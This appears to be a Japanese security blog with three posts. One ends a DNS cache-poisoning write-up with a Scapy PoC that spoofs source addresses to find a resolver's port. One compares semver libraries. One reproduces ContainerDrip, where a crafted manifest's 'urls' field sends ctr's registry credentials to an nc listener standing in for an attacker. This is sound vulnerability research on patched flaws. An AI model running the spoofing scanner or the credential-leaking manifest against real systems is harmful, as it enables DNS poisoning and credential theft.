これで推測したいポート番号が45682であることが分かります。ではPythonのScapyを使ってPoCコードを書いてみます。

#!/usr/bin/python

from scapy.all import *
from more_itertools import chunked
import time
from tqdm import tqdm


burst = 50
dns_port = 53
resolver = "192.168.33.10"
auth = "192.168.33.11"

def scan(src, sport, dst, ports):
    time.sleep(0.1)

    pkts = []
    for p in ports + [1] * (burst - len(ports)):
        pkt = IP(src=src, dst=dst)/UDP(sport=sport, dport=p)
        pkts.append(pkt)

    send(pkts, verbose=0)

    verification = IP(dst=dst)/UDP(sport=sport, dport=1)
    res = sr1(verification, timeout=0.05, verbose=0)

    if res is None:
        return -1
    elif res[ICMP].type == 3:
        if len(ports) == 1:
            return ports[0]
        res = scan(src, sport, dst, ports[:len(ports)//2])
        if res > 0:
            return res
        return scan(src, sport, dst, ports[len(ports)//2:])
    return -1


for ports in tqdm(list(chunked(range(1, 65535), burst)), leave=False):
    res = scan(auth, dns_port, resolver, ports)
    if res > 0:
        break

print("source port:", res)

非常に簡単です。srcに権威サーバのアドレスを指定し、dportを50ずつずらしてスキャンしていきます。DNSクエリの応答になりすましたいのでsportは53番になります。最後に送る検証用UDPパケットでは実際の自分のIPアドレスをソースアドレスとして使います。

最後の検証に対してICMPが返ってきたら、そのレンジのいずれかのポートが開いていることを意味するのでスキャンするポート範囲を半分にしてスキャンし直します(二分探索)。ただしrate limitの関係で必ず50個のUDPパケットを送る必要があるため、パディングしています。この際、パディングのポート番号は必ずcloseであることが期待される番号を(今回は1)指定します。パディングのポートが開いていたりすると誤検知します。

概念的にはこれで良いのですが、Scapyだと20ms内に50もUDPパケットを送れませんでした。そのため、意図的にburstの値を低くして検証しました。以下のコマンドをリゾルバ上で打ちます。

$ sudo sysctl -w net.ipv4.icmp_msgs_burst=10

実際に攻撃する際はパケット全部を作ってから一気に送るとかそもそもCで書くとか工夫が必要かと思われます。上の例では10に設定したのでPythonコード上のburstも10に変更する必要があります。

あとはこれを実行するだけです。以下のように45682番と表示してくれます。

$ python3 main.py
source port: 45682

burst値を10にしてもたまに20msを超えたりするのでうまく検出できないことがあります。また、50ms以上待つ必要があると上で説明しましたが50ms丁度だと安定しなかったためこのPoCでは100ms待っています。同一PC内のネットワークですらこれなので、インターネット越しのサーバを攻撃するにはさらに時間かかりそう+誤検知多そうだなと思いました。

対策

LinuxではCVE-2020-25705の脆弱性として認定され、global rate limitをランダマイズする変更が入りました。v5.10以降であればこのサイドチャネル攻撃は成立しません。あと当然ですがglobal rate limitが導入される前のバージョンはそもそも刺さりません。

kernel/git/torvalds/linux.git - Linux kernel source tree

他にもICMPのunreachableを返さないように設定することでも防ぐことが出来ます。各種DNSサーバ側でも対策が入っているようなので最新版を使うと良さそうです。

- Fix to connect() to UDP destinations, default turned on, · NLnetLabs/unbound@26aa550 · GitHub

ただこの変更を見ると単にconnect()使っているだけに見えるのでPublic-Facing Source PortがPrivate Source Portになっただけな気も...?

攻撃実現性

従来のキャッシュポイズニングと比べると劇的に攻撃実現性が向上した気がします。サイドチャネル攻撃でここまで持っていくのは本当に感動しました。ですが、やはり未だに攻撃を成立させるためにはいくつかのハードルがあります。

まずパブリックDNSサーバなどではリクエストを受け取るアドレスがエニーキャストアドレスになっていたりするため、実際にクエリを送信するアドレスと異なります。これに対しては自分の管理する権威サーバに対して問い合わせることでIPアドレス一覧を取得することが可能です。

また、再三説明しているように時間にシビアです。20ms以内に送り終える必要がありますし、順番が変わって検証用UDPパケットが先に届いたりするとうまくいきません。さらに権威サーバの正規レスポンスが帰ってくる前に毒を入れ終える必要もあります。これはRRLによって緩和可能ですがRRLが実装されている権威サーバは現在18%程度のようです。また、UDPの応答がない場合にTCPにフォールバックするような場合も動かないだろうとCloudflareのブログでは書かれています。

あとそもそも別の用途でICMPを送出しているような場合はglobal rate limitの残量が50じゃない可能性もあり、そういう場合はうまくサイドチャネル攻撃が成立しないと思われます。

以上の要件からそこまで簡単とは言えませんが、何度も試すことでいつか成功する程度の確率はある気がするので放置するには危険な脆弱性なのかなと思います。

まとめ

面白かった

Semantic Versioningの闇

今回も誰も興味ないシリーズなので今まで書いてこなかったのですが、Semantic Versioningに関して幻想を抱いている人がいる可能性があり、そういう方にどうしても現実を知っておいて欲しかったので書きました。3行要約(と可能なら余談)だけでも読んでいただけると幸いです。

3行要約

  • Semantic Versioning 2.0.0にはバージョン"比較"の定義はあるが、バージョン"制約"(>= 2.1.3みたいなやつ)の定義がない
  • その結果、同じsemver準拠ライブラリでも制約の解釈が異なり結果が真逆になる
  • というかそもそもsemver使ってるエコシステムが少なすぎる

背景

セキュリティアドバイザリでは特定のバージョンが脆弱であることを示すためにバージョン制約が使われることが多いです。例えば >=1.2.0 <1.2.6みたいなやつです。この場合、1.2.5は脆弱だが1.2.6は修正済みということが分かります。そのためバージョン比較は重要なのですが、バージョニングの定義として一番有名であるSemantic Versioning 2.0.0(以下semver)に従っているケースは実はレアで、エコシステムによって全く異なります。

semverについて少し説明すると、3つの数字をドットで区切りそれぞれmajor, minor, patchとします。どういう時にそれぞれのバージョンを上げるのかはドキュメントを参照してほしいのですが、つまり 2.4.1 みたいな形式になります。 1.8 とか 1.9.2.3 とかは許されません。他にも - でPre-releaseを、+でBuild metadataが定義できたりします。1.0.0-alpha+001 のような形式です。

Debian系のOSではdeb-versionが使われていますし、Red Hat系も独自のバージョニングを使っており、どちらもsemverとは大きく異なります。Red Hatに至ってはバージョン比較の仕様書が見つけられず(Naming Conventionはあるけどこれだけでは比較はできない)、ソースコードを読みましたがかなり独特な感じです。これらはそもそもupstreamのソフトウェアのバージョニングに加えてディストリビューターがビルドした際にバージョンを付与する必要があるため、必然的にSemantic Versioningでは対応できないのですが、Alpineも当然のように実装が異なりますし、頼むから誰か統一してくれ...という気持ちです。

話はずれましたが、これらOSパッケージはある程度仕方ないとしてもプログラミング言語のライブラリも厳密にsemverに準拠していないものは多いです。例えばRubyGemsは以下でバージョニングが定義されています。

guides.rubygems.org

最初見たときにはSemantic Versioningと書いてあって、「おっ!」と思ったのですが下を見るとPre-releaseの定義がかなり独特です。

guides.rubygems.org

先程少し上で説明しましたがsemverであれば 1.2.3-alpha のように - 区切りでPre-releaseを定義します。つまり - は特別な意味を持ち、この場合は 1.2.3 より小さい(古い)とみなされます。通常はalpha, beta, rcなどリリース前の非安定版をテストするために使われます。ところがRubyGemsではPre-releaseは文字をドット区切りで入れるだけです。 1.2.3.aのような感じですね。これは 1.2.3 よりも小さくなります。さらに言えば、 1.2.3a とか 1.2.a3 とか 1.2.3.4.5.6.7 とかも許されますし実は全然semver準拠ではありません。あくまでsemverとか使うと良いよ〜と推奨してるだけで、全然誰も守ってません。Ruby on Railsほどの有名なソフトウェアがsemver準拠ではない時点で推して知るべしという感じです(執筆時点の最新は6.0.3.4です)。また、ffiのようにカジュアルに - を使っているソフトウェアもあります。例えば 1.13.1-javaなどがあります。ドキュメントには - について記載がなかったので特に意味ないのかなと思ったのですが、ソースコードを読んだところ内部的には .pre.置換されます。なのでそのあたりを考えてバージョニングをする必要があります。

ちなみに上述したRed Hat, Debianなどはupstreamのバージョンに加えてディストリビューション独自のパッチバージョンを示すために-が使われます。こういうOSパッケージではupstreamで更新があった際にそのまま使うことは少なく、バックポートして修正するためです。つまりupstreamが1.2.3から1.2.4に上げた時にDebianでは1.2.3にバックポートして1.2.3-1などにするということです(実際にはもっと複雑)。これは互換性を保つために行われているのですが、いずれにせよ - はPre-releaseを意味しないため、 1.2.3-11.2.3 より大きい(新しい)です。semverでは 1.2.3-1 の方が小さいため真逆になります。Red HatDebian、そしてAlpineのバージョニングだけで無限に語れるのでここでは一旦この程度の簡易な説明に留めます。

ということで再び脱線しましたが、semverに準拠していないバージョニングを採用している言語は多いです。では、semverなら安全なのか?という話になります。実際にsemverに準拠しているライブラリの挙動を以下で見ていきます。

Semantic Versioning準拠のライブラリ

バージョン比較と制約の違い

まず最初に説明しておくと、バージョン比較と制約は異なるものです。

  • バージョン比較
    • 1.2.32.0.0のどちらが大きいか?
    • -1, 0, 1などを返す
  • バージョン制約
    • 1.2.3>2.0.0 を満たすかどうか?
    • 通常戻り値はtrue/false

一見同じように見えますが、実は全然違うものです。記事を読んでいくと分かるかと思います。

バージョン省略時の扱い

まず、Node.jsはsemverに従っているということで semverライブラリを試してみます。

$ cat compare.js
const semver = require('semver')
console.log(semver.satisfies('1.3.4', '=1.3.4'))

$ node compare.js
true

このようにsemver.satisfiesを使うことで簡単に制約を満たすかどうかを確かめられます。では、以下のケースはどうでしょうか?

console.log(semver.satisfies('1.3.4', '=1'))

この結果をまず考えてみてほしいです。

正解は、trueになります。1行で書くと 1.3.4 = 1 です。これは明らかに直感に反しています。ただ中には「いやいや当然trueでしょう」という方もいると思いますが、それはよく訓練されすぎておかしくなってます。1.3.4 = 1 という式を改めて見て冷静になって欲しいです。

以下のケースはどうでしょう?

console.log(semver.satisfies('1.3.4', '>1'))

これも 1.3.4 > 1 という式で考えてみるとtrueに見えます。しかし実際にはfalseを返します。

ということで引っ張りましたが、これはバージョンの一部を省略した場合の解釈が直感と反することによります。Node.jsではバージョンを省略した場合 * の扱いになります。つまり =1 というのは =1.*.* になります。そのため、 1.3.4 = 1.*.* なので当然trueになります。また、>1>1.*.* になるので、実質 >=2.0.0 と等しくなります。そのため結果はfalseになります。普通は =1=1.0.0 のように0埋めするのかなと考えてしまうため、Node.jsの挙動はややおかしく感じます。

ではGoのライブラリである hashicorp/go-version はどうでしょうか。

github.com

こちらも

Versions used with go-version must follow SemVer.

と言っているのでsemver準拠です。ということで試してみます。

package main

import (
    "fmt"

    "github.com/hashicorp/go-version"
)

func main() {
    v, _ := version.NewVersion("1.3.4")
    constraints, _ := version.NewConstraint("=1")
    fmt.Println(constraints.Check(v))
}

https://play.golang.org/p/GFZnF6Jnp2f

この結果は何とfalseになります。Node.jsのライブラリではtrue、Goのライブラリではfalseで完全に真逆です。これは、hashicorp/go-version にとっては =1 は単に =1.0.0 だからです。そのため、 1.3.4 = 1.0.0 は当然falseです。

何故このようなことが起こるのか?というと、Semantic Versioning 2.0.0にはバージョン"制約"(>= 2.0.0みたいなやつ)の定義がないためです。バージョンのフォーマットや比較方法については定義がありますが、バージョン制約については何も触れられていません。そのため、ライブラリによって解釈の違いが生じます。

ちなみに1というのはsemverに違反しているので、1.3.41の比較は発生しません。一方で1.3.41.0.0 であれば明確に比較方法が定義されているので 1.3.4 が大きいと断言できます。つまり、バージョン比較なら一意に定まるがバージョン制約を満たすかどうかは実装依存ということになります。

ではもう一つのGoライブラリで有名な Masterminds/semver を見てみます。

github.com

package main

import (
    "fmt"
 
    "github.com/Masterminds/semver"
)

func main() {
    v, _ := semver.NewVersion("1.3.4")
    constraints, _ := semver.NewConstraint("=1")
    fmt.Println(constraints.Check(v))
}

https://play.golang.org/p/phNI6vS0VnD

こちらの結果はtrueです。このライブラリにとっては =1=1.*.* 相当ということです。同じGoでsemver準拠のライブラリであっても、異なるライブラリを使えば結果が真逆になります。これは結構恐ろしいので、ライブラリがどちらの解釈なのかを知った上で使う必要があります。ドキュメントには書いてなかったりするので、ソースコードを読みましょう。

Pre-releaseの扱い

では再びNode.jsに戻ります。以下はどうなるでしょう?

console.log(semver.satisfies('1.2.3-alpha', '>1.0.0'))

alpha はついているものの、1.2.31.0.0よりかなり大きいです。そのため、普通に考えたらtrueです。

$ node compare.js
false

しかし実際にはfalseになります。直感に反しまくりです。これは、このライブラリが純粋なバージョン比較ではなく利用者がインストールしたいバージョンを選ぶためのルールとしてバージョン制約を扱う側面があるためです。どういうことかというと、基本的にPre-releaseは安定版ではないためそのライブラリを利用しているユーザとしてはそのバージョンをインストールしたくないケースが多いです。そのためPipenvなどでも pipenv install --pre のようにオプションを付けないと基本的にはPre-releaseなバージョンはインストールされません。Node.jsにおいても同様で、 >1.0.0 というのは1.0.0より大きい安定版のバージョンを意味します。そのため、Pre-releaseがある場合は常にfalseになります。

Goのそれぞれのライブラリを見てみます。

v1, _ := version.NewVersion(ver)
c1, _ := version.NewConstraint(con)
fmt.Println(c1.Check(v1)) // false

v2, _ := semver.NewVersion(ver)
c2, _ := semver.NewConstraint(con)
fmt.Println(c2.Check(v2)) // false

https://play.golang.org/p/M5aJE9YNyCI

どちらもfalseになります。つまりPre-releaseを除外するというのは割と一般的な挙動と言えます。しかしセキュリティアドバイザリとの比較という意味では 1.2.3-alpha は明らかに >1.0.0 を満たしているのでとても困ります。

今のところ Masterminds/semver はNode.jsと同様の挙動をしているため、一緒の振る舞いなのかと思うかもしれません。しかしそれは甘いです。マックスコーヒーぐらい甘い考えです。

ConstraintがPre-releaseの場合

ではNode.jsに戻ってバージョン制約側がPre-releaseの場合を見てみます。以下のケースを考えます。

console.log(semver.satisfies('1.0.0-beta', '>1.0.0-alpha'))

さっきPre-releaseは常にfalseという説明をしたのでfalseと思うかもしれません。しかし実際にはtrueです。これはなぜかと言うと、制約側にPre-releaseを書いているということはPre-releaseを使いたいという意思表示である、そのためPre-releaseをインストールしても良いと解釈されるためです。その結果、普通にbetaとalphaが比較されbetaの方が大きいのでtrueが返ります。

Goはどうでしょうか。

ver := "1.0.0-beta"
con := ">1.0.0-alpha"

v1, _ := version.NewVersion(ver)
c1, _ := version.NewConstraint(con)
fmt.Println(c1.Check(v1)) // true

v2, _ := semver.NewVersion(ver)
c2, _ := semver.NewConstraint(con)
fmt.Println(c2.Check(v2)) // true

両方trueです。Node.jsと一緒!やはり同じ挙動なんだ!!と喜ぶのはまだ早いです。以下のケースを見てみます。

console.log(semver.satisfies('1.2.3-beta', '>1.0.0-alpha'))

明らかに1.2.31.0.0より大きいですし、制約にもPre-releaseが付いている、つまりtrueだと考えるかもしれませんが残念なことにこれはfalseです。なぜかというと、 >1.0.0-alpha1.0.0 のPre-releaseを使う覚悟はあるがそれ以外のPre-releaseが使いたいわけではないとNode.jsでは解釈されるからです。つまり >1.0.0-alpha, <1.0.0 の範囲でのみPre-releaseは許可するということになり、1.0.1-alpha1.2.3-betaなどはいつも通りfalseです。

そしてGoです。

ver := "1.2.3-beta"
con := ">1.0.0-alpha"

v1, _ := version.NewVersion(ver)
c1, _ := version.NewConstraint(con)
fmt.Println(c1.Check(v1)) // false

v2, _ := semver.NewVersion(ver)
c2, _ := semver.NewConstraint(con)
fmt.Println(c2.Check(v2)) // true

https://play.golang.org/p/imrDaPAfFHV

大変悲しい結果となっています。今までNode.jsとことごとく異なる挙動をしてきた hashicorp/go-version がfalse、つまりNode.jsと同じ挙動です。一方、今までNode.jsに寄り添ってきたMasterminds/semver がここで謀反を起こしてtrueとなっています。Masterminds/semver にとっては、制約にPre-releaseを入れた時点で全てのPre-releaseを使うという意思表示であると解釈しているということです。

ドット区切りのPre-release

- のあとのPre-releaseも実はドット区切りが可能です。これはsemverの仕様として定義されています。空よりもバージョンが何かしらある方が大きくなるため、以下のケースはtrueです。

console.log(semver.satisfies('1.0.0-alpha.beta', '>1.0.0-alpha')) // true

Goも見てみます。

ver := "1.0.0-alpha.beta"
con := ">1.0.0-alpha"

v1, _ := version.NewVersion(ver)
c1, _ := version.NewConstraint(con)
fmt.Println(c1.Check(v1)) // false

v2, _ := semver.NewVersion(ver)
c2, _ := semver.NewConstraint(con)
fmt.Println(c2.Check(v2)) // true

もう結果が異なることには何も驚かなくなっていると思いますが、hashicorp/go-version ではfalseになります。

実はこれは解釈の違いではなく、明確にsemver内で定義されています。

Example: 1.0.0-alpha < 1.0.0-alpha.1 < 1.0.0-alpha.beta < 1.0.0-beta < 1.0.0-beta.2 < 1.0.0-beta.11 < 1.0.0-rc.1 < 1.0.0.

つまりこれはシンプルに hashicorp/go-version のバグです。解釈の違いにより結果が異なるところと、バグにより結果が異なるところを正確に見定めていく必要があります。

特別なOperator

上記の例では >= など一般的なoperatorを使ってきましたが、実際には各言語はもう少し複雑なバージョン制約を持っています。例えばNode.jsでは ^~ が使えます。~は以下のような制約を意味します。

  • ~1.2.3 := >=1.2.3 <1.(2+1).0 := >=1.2.3 <1.3.0
  • ~1.2 := >=1.2.0 <1.(2+1).0 := >=1.2.0 <1.3.0 (Same as 1.2.x)
  • ~1 := >=1.0.0 <(1+1).0.0 := >=1.0.0 <2.0.0 (Same as 1.x)

RubyGemsでは ~> (Pessimistic Operator)というものが使えます。これはNode.jsの ~ と非常に似ているのですが、若干異なります。

  • ~>1.2.3 := >=1.2.3 <1.3
  • ~>1.2 := >=1.2 <2
  • ~>1 >=1.0.0 <2.0.0

Node.jsのものと比べてほしいのですが、 ~1.2 の場合の範囲が異なります。ですが残念なことに多くのライブラリで同様に扱ってしまい誤った結果を返すことがあります。もちろん ~>RubyGems準拠だ、と言っていない場合は ~ の挙動をしても厳密には誤りとは言えないかもしれませんが、~>という独特なoperatorを使っている以上はRubyGemsに則るべきかなと思います。

ver := "1.6"
con := "~1.4"

v1, _ := version.NewVersion(ver)
c1, _ := version.NewConstraint(con)
fmt.Println(c1.Check(v1)) // true

v2, _ := semver.NewVersion(ver)
c2, _ := semver.NewConstraint(con)
fmt.Println(c2.Check(v2)) // false

この場合は hashicorp/go-version が正しくて Masterminds/semver の挙動がおかしいかなと思います。もっとも、上で述べたようにMastermminds/semver~>RubyGems準拠と言っていないので完全な誤りとは少し言いにくいです。

違いまとめ

実はまだまだ違いがあるのですが、書くの疲れてきたし改めて読み直すとやはり誰も興味ないだろうなと思ったので一旦終わりにします。気分が向いたら追記します。

表にまとめましたが、同じ挙動をしているものが一つもないことが分かるかと思います。

Node.js hashicorp Masterminds
1.3.4 = 1 true false true
1.3.4 > 1 false true false
1.2.3-alpha > 1.0.0 false false false
1.0.0-beta > 1.0.0-alpha true true true
1.2.3-beta > 1.0.0-alpha false false true
1.0.0-alpha.beta > 1.0.0-alpha true false *1 true
1.6 ~> 1.4 false *2 true false

*1 これはただのバグ
*2 ~>~ とした場合の結果

Goの方は比較用のスクリプトをGo Playgroundに置いたのでそちらも合わせてどうぞ。

The Go Playground

余談

Semantic Versioning一つとってもこれだけ大変です。それぞれのディストリビューション・言語は独自のセマンティクスを持つのでただの地獄です。自分の用途だとhashicorpのライブラリのほうが近いのですが、他のPRなども取り込まれていませんしupstreamを改修するのは諦めて自作しました。オプションで*でなく0のパディングしたりPre-releaseを常に比較対象に入れたりとかも出来るようにしてあります。急いで作ったのでまだ完全に動くか自信ないですが、今のところそこそこ思った通りに動いてくれています。

github.com

他にもRubyGems用やnpm用も作りました。全部挙動が異なるのでテストを書きながら混乱して頭がおかしくなりそうになりました。また、1つのケースを通すと別のケースが落ちるというのが多発するのも辛いです。

github.com

github.com

これらを育てていきつつ他の言語も作る予定です。ただaquasecurity/go-version の挙動で他の言語でも割と正しく動くので、一旦PHPやRust、.NETはそれで対応して随時作っていくという感じで行きます。

自分はクラウドネイティブセキュリティの会社にいるため、チームメンバーはeBPFでバリバリ開発してeBPF Summit登壇したり、Kubernetes Operator作ってKubeCon North America 2020登壇したり、ボスは相変わらず基調講演とかで発表しまくったり、という状況の中で自分だけ毎日必死にバージョンを比較し続けていて「くらうどねいてぃぶってなんだ...?」状態になっています。先日のBerkeley DBの記事なども時代を逆行しまくりなわけですが、他の類似OSSがうまく実装できていないこういう細かい所の差が最終的にユーザに伝わると信じて頑張っています。

派手な新機能も良いですが、細かいところでバグが多いとやはり分かる人には分かるんじゃないかと思っています。なので地味であってもコツコツと改善を続けているのですが、実際にOSSにおいてそういったところが本当に重要なのかは自分にもまだ分かりませんし、これが実らなかったら次以降は細かいところは捨て置いて新機能だけ作る人になる予定です。

ちなみに自分のOSSのライバルとしてAnchoreやClairといったものがあるのですが、バージョン比較はずっとバグってました。昔はPR出して直してたのですが今はライバルだしな、と放置していたら結局自作を諦めて自分の作ったOSS使い始めてました。大企業ですら諦めてますし、やはりバージョン比較は地味な割に難しいんだなと思います。単に労力に対して割に合わないという判断かもしれませんが。

まとめ

Semantic Versioningの闇という記事のタイトルにしましたが、実際にはSemantic Versioningそのものが悪いと言うよりはバージョン制約に関する定義がないという点、実際にはほとんどのエコシステムでSemantic Versioningに従っていないという点が問題であるという内容でした。なのでバージョニングの問題と言うと若干語弊があるのですが、制約についても定義してくれていればこういう事は起きなかったと思うので、少し誇張した感じにはなっていますがこのタイトルとしました。用途の違いから来ているところもあるのですが(Pre-releaseはインストールしたくないとか)、それであれば違うoperatorを使うとかで全く同じ記号で異なる結果になることは避けられたのではないかと思います。「バージョニング?そんなもんsemverに従うだけだから簡単じゃないの?」と思っている人に現実を知ってもらえれば幸いです。

CVE-2020-15157 (ContainerDrip) を試す

Write-up公開直後に試してたんですが、諸事情で公開を待っていたやつです(後述)。

概要

9, 10月と専業主婦をやっていてしばらく今日の献立しか頭になかったのでリハビリがてら簡単そうな脆弱性を触ってみました。

ContainerDripという名前から想像されるようにcontainerd脆弱性です。発見者が丁寧に解説も書いてくれています。2020/10/15に公開されています。

darkbit.io

ということで概要は上のブログを見れば理解できます。簡単に説明すると、containerdのctrコマンドで細工されたイメージをpullする時に認証情報を誤って流出させてしまうという脆弱性です。攻撃者の用意したイメージをpullしないといけないので外部からの能動的な攻撃が可能なわけではなく即座に危険ということはないですが、それでもpullするだけで刺さってしまうので攻撃実現性が著しく低いわけでもありません。

認証情報が流出すれば攻撃者はレジストリに任意のイメージをpush可能になるので、イメージにバックドアを仕込まれたり仮想通貨マイナーを仕込まれたりしますし、クラウドサービスの設定によっては他のAPIを叩けてしまう可能性もあります(後述)。

こちらにも解説ブログがありますので一応載せておきます。

blog.aquasec.com

脆弱性詳細

コンテナイメージはコンテナレジストリに保存されるわけですが、大きく分けてマニフェスト・コンフィグ・レイヤーの3つで構成されています。マニフェストというのはレジストリにおけるそのイメージのメタ情報を含んでいて、レイヤーのハッシュ値とかが書いてあります。クライアントはまず最初にマニフェストを取得し、次にハッシュ値に応じたレイヤーを取りに行くという流れでイメージのpullは行われています。普段docker pullするだけで中がどうなってるのか分からない人は挙動を理解するためのブログがあるのでそちらを併せて見てください。

knqyf263.hatenablog.com

このレジストリAPIで使われるマニフェストは以下で仕様が定義されています。

docs.docker.com

マニフェストの例は以下のようになります。

{
    "schemaVersion": 2,
    "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
    "config": {
        "mediaType": "application/vnd.docker.container.image.v1+json",
        "size": 7023,
        "digest": "sha256:b5b2b2c507a0944348e0303114d8d93aaaa081732b86451d9bce1f432a537bc7"
    },
    "layers": [
        {
            "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
            "size": 32654,
            "digest": "sha256:e692418e4cbaf90ca69d05a66403747baa33ee08806650b51fab815ad7fc331f"
        },
        {
            "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
            "size": 16724,
            "digest": "sha256:3c3a4604a545cdc127456d94e421cd355bca5b528f4a9c1905b15da2eb4a4c6b"
        },
        {
            "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
            "size": 73109,
            "digest": "sha256:ec4b8955958665577945c89419d1af06b5f7636b4ac3da7f12184802ad867736"
        }
    ]
}

先ほど説明したようにlayersの下に3つの要素があり、それぞれにdigestが存在しています。ここから3つのレイヤーでイメージが構成されていることが分かります。これは通常のマニフェストなのですが、実は先程のページ内でlayersの下に定義可能なフィールドが実は4つあることが分かります。例ではmediaType, size, digestの3つしかないですが、urlsというフィールドも定義されています。

f:id:knqyf263:20201030160013p:plain

urlsのフィールドの説明には以下のように書いています。

Provides a list of URLs from which the content may be fetched. Content should be verified against the digest and size. This field is optional and uncommon.

通常であればマニフェストと同じサーバにレイヤーも存在するわけですが、urlsを指定した場合はクライアントに別サーバに取得しにいかせることが可能ということです。This field is optional and uncommon. といかにもセキュリティリサーチャーが好きそうなことが書いてあります。"ここに脆弱性がありまぁす"と宣言しているようなものです。

自分はcurlでpullをするブログでもこのドキュメントに触れていますし、定期的に読んでいるので2万回以上は見ています。なのでurlsの存在ももちろん知っていたのですが最近は能動的に脆弱性を探すことはしないポリシーなので普通にスルーしちゃっていました。自分もある時点からOSS開発者という自覚を持つようになってしまったので、他OSS脆弱性を見つけると動悸がするんですよね...

ということで今回の脆弱性はこのurlsを悪用したものとなっています。ctrによって認証情報が流出するのは以下の流れです。

  1. ctrレジストリAからイメージのマニフェストをダウンロードする(この時仮に認証情報Xを使うとする)
  2. 取得したマニフェストurlsを含んでおり、レジストリBを指している
  3. ctrはレイヤーをレジストリBから取得しようとする(認証情報なし)
  4. レジストリBは401 Unauthorizedを返す
  5. ctrは誤って認証情報XをレジストリBに送ってしまう

認証情報XというのはレジストリAのためのものであって、それを誤ってレジストリBに送ってしまえばレジストリBの所有者に見られてしまいます。つまり、攻撃者が自分の用意したサーバをurlsに指定して、その細工したマニフェストを持つイメージをpullさせれば自分の用意したサーバに認証情報Xを送らせることが可能ということです。その後は得た認証情報XでレジストリAにログインして悪の限りを尽くせば完了です。

ここで、先程の発見者によるブログでは現実的なシナリオとしてGKEを挙げています。cos_containerdをノードとして利用するとGKEクラスタcontainerdが使用できます。

cloud.google.com

そしてGKE上から攻撃者がGCRに用意したイメージをpullさせます。

---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: honk
  labels:
    app: honk
spec:
  replicas: 1
  selector:
    matchLabels:
      app: honk
  template:
    metadata:
      name: honk
      labels:
        app: honk
    spec:
      containers:
        - name: honk
          image: gcr.io/my-project-name/myimage:latest
          imagePullPolicy: Always

この時、GCRからイメージをpullするためにGKEクラスターにアタッチされたService Accountを利用します。

cloud.google.com

このService Accountが攻撃者に流出するということになります。ただしGKEではscopeを絞っているらしく、デフォルトでは権限はそこまで強くないとのことです。

cloud.google.com

ここら辺の設定で強めの権限を付与してしまっていたりすると、レジストリの認証情報流出にとどまらずアカウント乗っ取りにつながる可能性があるということです。詳細が気になる人は発見者ブログを見て下さい。

ということで詳細の説明終わりです。

試す

解説見てふーんで終わりだと面白くないので自分で試してみましょう。

Docker Registry作成

まずレジストリが必要なのでコンテナで起動します。自前でDocker RegistryをホスティングできるようにOSSレジストリがDockerから提供されています。

docs.docker.com

単に起動するだけなら registry:2 をdocker runすれば良いのですが、今回は認証ありにしたいので最初にhtpasswdを用意します。

$ export AUTH_DIR=$(mktemp)
$ docker run --rm --entrypoint htpasswd registry:2.7.0 -Bbn testuser testpassword > $AUTH_DIR/htpasswd

testuser:testpasswordでhtpasswdを作成しました。ちなみにドキュメントではregistry:2でhtpasswdを打ってますが、最新のイメージだとhtpasswdが入ってなくて動きません。なので2.7.0を指定しています。Request docs changesから修正リクエスト出せるので、貢献するチャンスかもしれません。

では起動します。

$ docker run -d \
  -p 5000:5000 \
  --restart=always \
  --name registry \
  -v $AUTH_DIR:/auth \
  -e "REGISTRY_AUTH=htpasswd" \
  -e "REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm" \
  -e REGISTRY_AUTH_HTPASSWD_PATH=/auth/htpasswd \
  registry:2.7.0

これでDocker Registryの起動は終わりです。

イメージのpush

先程立ち上げたDocker Registryに適当なイメージをpushしましょう。

$ docker pull alpine:3.11
$ docker tag alpine:3.11 localhost:5000/alpine:3.11
$ docker push localhost:5000/alpine:3.11
The push refers to repository [localhost:5000/alpine]
3e207b409db3: Preparing
no basic auth credentials

設定したとおり、認証が必要になっています。ということでdocker loginします。

$ echo testpassword | docker login localhost:5000 -u testuser --password-stdin
Login Succeeded

改めてpushします。

$ docker push localhost:5000/alpine:3.11
...
3.11: digest: sha256:39eda93d15866957feaee28f8fc5adb545276a64147445c64992ef69804dbf01 size: 528

エラーが出なければOKです。

マニフェストの確認

マニフェストを確認してみます。

$ curl -s -u "testuser:testpassword" -H "Accept: application/vnd.docker.distribution.manifest.v2+json" http://localhost:5000/v2/alpine/manifests/3.11
 | jq .
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "size": 1507,
    "digest": "sha256:f70734b6a266dcb5f44c383274821207885b549b75c8e119404917a61335981a"
  },
  "layers": [
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 2813316,
      "digest": "sha256:cbdbe7a5bc2a134ca8ec91be58565ec07d037386d1f1d8385412d224deafca08"
    }
  ]
}

Acceptヘッダーを指定しないとv1のマニフェストが返ってきちゃうので気をつけて下さい。認証が必要なので-uオプションで渡しています。JSONを見て分かる通り、digestが指定されています。これを細工します。

マニフェストの更新

上のマニフェストを保存してdigestを削除しurlsを足します。今回は http://localhost:10000 を用意しています。面倒なので両方localhostでやっていますが、これは実際には別サーバだと思って下さい。

$ cat manifest.json
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "size": 1507,
    "digest": "sha256:f70734b6a266dcb5f44c383274821207885b549b75c8e119404917a61335981a"
  },
  "layers": [
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 2813316,
      "urls": [
        "http://localhost:10000"
      ]
    }
  ]
}

これをレジストリにPUTします。

curl -s -u "testuser:testpassword" -H "Content-type: application/vnd.docker.distribution.manifest.v2+json" -XPUT -d@manifest.json http://localhost:5000/v2/alpine/manifests/3.11

これで準備OKです。うまく設定できたかもう一度GETで確かめても良いと思います。

攻撃者のサーバを準備する

では攻撃者サーバ想定である http://localhost:10000 を用意します。これは単にncで良いです。

$ nc -kl 10000

ctrでpullする

自分が使ったバージョンは以下です。

$ ctr -v
ctr containerd.io 1.2.13

ctrでpullします。認証が必要なので--userで渡しています。

$ ctr image pull --user testuser:testpassword localhost:5000/alpine:3.11

するとncしていた方には以下のようなリクエストが飛んできます。

GET / HTTP/1.1
Host: localhost:10000
User-Agent: containerd/1.2.13
Accept: application/vnd.docker.image.rootfs.diff.tar.gzip, *
